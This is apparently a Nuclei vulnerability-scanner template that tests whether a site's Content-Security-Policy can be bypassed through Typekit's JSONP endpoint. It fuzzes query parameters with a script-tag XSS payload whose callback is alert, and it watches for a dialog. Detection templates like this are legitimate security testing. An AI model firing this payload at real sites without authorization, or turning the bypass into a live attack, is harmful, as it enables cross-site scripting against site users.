id: typekit-csp-bypass

info:
  name: Content-Security-Policy Bypass - Typekit
  author: Jaenact
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,typekit,vuln

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "typekit.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: typekit_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://typekit.com/api/v1/json/libraries/full?callback=alert"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "typekit_csp_xss == true"
# digest: 490a00463044022011dc5487d992229aacd66195771c5f66dd637bb6f758a924b9c71536888338a3022040a721c604dcf5573c0f50313096ec4b2ac7687e34edaf5bcd4966f615382503:922c64590222798bb761d5b6d8e72950